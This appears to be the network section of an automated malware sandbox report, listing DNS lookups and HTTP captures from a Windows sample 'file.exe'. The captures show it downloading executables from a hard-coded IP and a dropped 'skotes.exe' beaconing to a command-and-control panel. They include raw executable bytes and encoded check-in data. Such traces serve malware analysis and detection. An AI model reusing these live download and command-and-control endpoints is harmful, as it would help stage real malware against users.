Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663921118 CET	1.1.1.1	192.168.2.5	0x7b1	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663921118 CET	1.1.1.1	192.168.2.5	0x7b1	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.664016962 CET	1.1.1.1	192.168.2.5	0x559e	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:03.664016962 CET	1.1.1.1	192.168.2.5	0x559e	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.749866009 CET	1.1.1.1	192.168.2.5	0xc89f	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.749877930 CET	1.1.1.1	192.168.2.5	0x785b	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.750227928 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.770240068 CET	1.1.1.1	192.168.2.5	0xdf4e	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 1, 2024 05:03:03.770528078 CET	1.1.1.1	192.168.2.5	0x215	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 1, 2024 05:03:03.801281929 CET	1.1.1.1	192.168.2.5	0x68df	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 05:03:03.801281929 CET	1.1.1.1	192.168.2.5	0x68df	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 05:03:03.801281929 CET	1.1.1.1	192.168.2.5	0x68df	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 05:03:03.801281929 CET	1.1.1.1	192.168.2.5	0x68df	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 05:03:03.854433060 CET	1.1.1.1	192.168.2.5	0x5807	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:03.854433060 CET	1.1.1.1	192.168.2.5	0x5807	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.854433060 CET	1.1.1.1	192.168.2.5	0x5807	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.854433060 CET	1.1.1.1	192.168.2.5	0x5807	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.854433060 CET	1.1.1.1	192.168.2.5	0x5807	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.885902882 CET	1.1.1.1	192.168.2.5	0xdf4e	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 1, 2024 05:03:03.885914087 CET	1.1.1.1	192.168.2.5	0x215	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 1, 2024 05:03:03.887001991 CET	1.1.1.1	192.168.2.5	0xf455	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.887001991 CET	1.1.1.1	192.168.2.5	0xf455	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.887001991 CET	1.1.1.1	192.168.2.5	0xf455	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.887001991 CET	1.1.1.1	192.168.2.5	0xf455	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.890804052 CET	1.1.1.1	192.168.2.5	0xb91e	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.940296888 CET	1.1.1.1	192.168.2.5	0xee1b	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:04.849144936 CET	1.1.1.1	192.168.2.5	0x2d17	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:04.849144936 CET	1.1.1.1	192.168.2.5	0x2d17	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:04.849144936 CET	1.1.1.1	192.168.2.5	0x2d17	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.044943094 CET	1.1.1.1	192.168.2.5	0x968	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.702745914 CET	1.1.1.1	192.168.2.5	0x733e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.719424009 CET	1.1.1.1	192.168.2.5	0x4040	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.730379105 CET	1.1.1.1	192.168.2.5	0x7aac	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.742877960 CET	1.1.1.1	192.168.2.5	0xa729	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.194226980 CET	1.1.1.1	192.168.2.5	0x64df	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:45.194226980 CET	1.1.1.1	192.168.2.5	0x64df	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.273876905 CET	1.1.1.1	192.168.2.5	0x26ff	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:45.273876905 CET	1.1.1.1	192.168.2.5	0x26ff	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.296230078 CET	1.1.1.1	192.168.2.5	0x26ff	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:45.296230078 CET	1.1.1.1	192.168.2.5	0x26ff	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.297364950 CET	1.1.1.1	192.168.2.5	0x8298	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.432135105 CET	1.1.1.1	192.168.2.5	0x13c8	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.484354019 CET	1.1.1.1	192.168.2.5	0xde4	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:45.484354019 CET	1.1.1.1	192.168.2.5	0xde4	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.492176056 CET	1.1.1.1	192.168.2.5	0x13c8	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:46.147416115 CET	1.1.1.1	192.168.2.5	0x1583	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	185.215.113.16	80	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:01:16.914053917 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	185.215.113.16	80	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:01:17.230983973 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:01:18.149625063 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:01:18 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Fri, 01 Nov 2024 03:42:54 GMT Connection: keep-alive ETag: "67244e3e-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@ L@WkDKK @.rsrcD@.idata @ +@edfilslq1@gprpjvtrK@.taggant0K"@
Nov 1, 2024 05:01:18.149646997 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:01:18.149676085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:01:18.149698973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:01:18.149713993 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:01:18.149813890 CET	1148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \|VSUy<ptZ\LR\q_HMEVZZCx3KBJHCPgH\|k1D(\|_pfLU
Nov 1, 2024 05:01:18.149830103 CET	1236	IN	Data Raw: 4a 63 65 a7 12 a0 34 59 c3 bf 18 34 00 6f 6c fa db 50 d1 14 5c bc dc 5e 49 14 df d4 dd 23 74 5c 9c b0 18 30 e7 18 f4 1a c4 a0 00 f5 ac 45 9f 04 c8 12 c1 20 e9 b4 53 67 ac a1 cf 3f 1c b1 38 7d 6f bc 4c d4 5a b1 50 79 ec 50 28 cd fc 6c b3 69 c9 94 Data Ascii: Jce4Y4olP\^I#t\0E Sg?8}oLZPyP(liTHFd@\|+BC(0YNB#:Zt=\\|OpeTdI?F!dLBzsf0_NBcz(eK<eCmq!
Nov 1, 2024 05:01:18.149847031 CET	212	IN	Data Raw: 1a c0 92 01 fb 75 58 86 01 ec f8 e7 f5 e7 89 c2 d2 92 97 3d 4d 94 68 51 6b d1 df cc 4b 39 5e c8 15 f0 3f d0 cc 1a f9 11 0e 4f 31 8b 7c 91 ac 7f d3 5e d1 2a 1d 42 2c 40 9d d5 96 9d 7d e6 9e b3 89 96 d0 f7 c3 6c ad 7a dc f7 38 47 e2 71 8e b0 67 a0 Data Ascii: uX=MhQkK9^?O1\|^B,@}lz8GqgZ\|h6{Tx'Q$5EyZTds1w(]\wCW(A0xt'%xV/VfAIiUT \Ka{,k
Nov 1, 2024 05:01:18.149861097 CET	1236	IN	Data Raw: b9 98 d3 01 43 a8 29 b3 1a c7 23 4a 1c 94 16 61 52 c1 d9 7d fd b7 a0 d0 52 d2 0f ed e7 10 8d ab d2 16 dd 47 66 60 01 a0 4d 5c 0f bd ba c7 c0 55 13 19 22 29 5f 66 7f 45 fd db a5 46 c7 31 c1 64 72 5e e5 74 ff d8 1c 5e fe b0 c5 85 c6 24 29 9a e0 98 Data Ascii: C)#JaR}RGf`M\U")_fEF1dr^t^$);$C+'z>RP@"\|(V\|<wo'0J[\|bgWX \|7PHXy#"7O:;h0_`{<r~NJCvX
Nov 1, 2024 05:01:18.150031090 CET	212	IN	Data Raw: 11 c2 dd 99 9a 8d ec f4 5f 05 d4 52 c1 91 0b ff 2b 8f f4 7b b0 f8 2f d0 45 c6 11 d1 b2 d4 71 f4 48 78 47 ec ca 26 35 63 73 89 2f 3d d6 70 9d 65 04 be dd 89 ed 6b f9 d6 c2 42 59 c8 fd 19 d6 a0 d4 c9 f0 14 bd e9 29 03 f8 52 df ef 9c a0 31 a0 40 26 Data Ascii: _R+{/EqHxG&5cs/=pekBY)R1@&D4rrET8Xk#!T<AE{#A{_Ts#=.!::X@(ku~nGFQ-YDIvs/
Nov 1, 2024 05:01:18.154536009 CET	1236	IN	Data Raw: a2 dd a8 64 02 22 59 81 fb f4 e6 56 f0 a9 b2 78 89 f0 bf 14 00 a4 e8 37 70 0d 52 ae e1 13 29 18 48 e8 8a 1d e0 77 84 85 ae 70 f9 60 d2 b2 c4 bd f4 c8 72 47 f8 10 ad 35 e7 c3 4e 08 fb c9 e8 bf 44 4b 51 bf 7d 31 68 96 27 b0 09 b7 de f5 d7 05 3d 64 Data Ascii: d"YVx7pR)Hwp`rG5NDKQ}1h'=d67JB.:K49=lJshL-!IY1[V@'tfAdq3;m\"O,u-NSw)Uxe -:dpnHu=I'xg~V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	59806	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:04.551714897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:02:05.467511892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	59821	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:06.988727093 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:02:07.908540964 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 33 30 38 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 38 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 33 30 38 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 38 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1003085001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003086001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003087001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003088001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	59827	185.215.113.16	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:07.918726921 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 05:02:08.837326050 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:08 GMT Content-Type: application/octet-stream Content-Length: 2874880 Last-Modified: Fri, 01 Nov 2024 03:42:33 GMT Connection: keep-alive ETag: "67244e29-2bde00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 f0 2e 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2f 00 00 04 00 00 f4 fe 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ.@ /+@Th@ ~@.rsrc@@.idata @wjqxmzgq0)$)@xobrrexd.+@.taggant0."+@
Nov 1, 2024 05:02:08.837342024 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:08.837461948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:08.837477922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:08.837492943 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:08.838030100 CET	1148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ;&b$j)v, Z$=z=k4jmGgm piKCcm>)7K{nFg'[`G=`[1~R
Nov 1, 2024 05:02:08.838046074 CET	1236	IN	Data Raw: b5 05 d6 f6 15 9a 48 c1 8a b6 77 6f a8 27 5d 2d dc 81 82 bd 39 02 c3 97 5a 29 f4 a1 e8 1b f3 08 a6 09 98 40 27 59 fd aa df b0 6d 66 d0 c2 5c 3c ce 0f 2a 92 be d3 21 b8 fc 75 e9 d5 2a 7d f6 1b 26 0b e1 94 d6 6e 6b a1 bd 01 d9 76 bc c3 2d c8 c7 a6 Data Ascii: Hwo']-9Z)@'Ymf\<!u}&nkv-&s~=GQ1HS8.Wr-?0gI- aN%rt$+b@0uTF`uPOBMf*'kOBmQF}\(l.`wC$u;Yiy
